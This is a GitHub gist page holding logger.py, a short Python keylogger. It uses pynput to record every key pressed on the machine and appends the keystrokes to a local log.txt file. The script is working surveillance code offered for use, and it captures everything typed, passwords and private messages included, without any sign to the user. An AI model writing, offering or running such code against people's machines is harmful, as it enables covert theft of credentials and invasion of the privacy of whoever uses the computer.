Last active
January 5, 2022 11:55
-
-
Save bjarneo/95e59b15859436bfb7d8634cfcf5aeda to your computer and use it in GitHub Desktop.
logger.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pynput.keyboard import Listener | |
def log_keystroke(key): | |
key = str(key).replace("'", "") | |
if key == 'Key.space': | |
key = ' ' | |
if key == 'Key.shift_r': | |
key = '' | |
if key == "Key.enter": | |
key = '\n' | |
with open("log.txt", 'a') as f: | |
f.write(key) | |
with Listener(on_press=log_keystroke) as l: | |
l.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment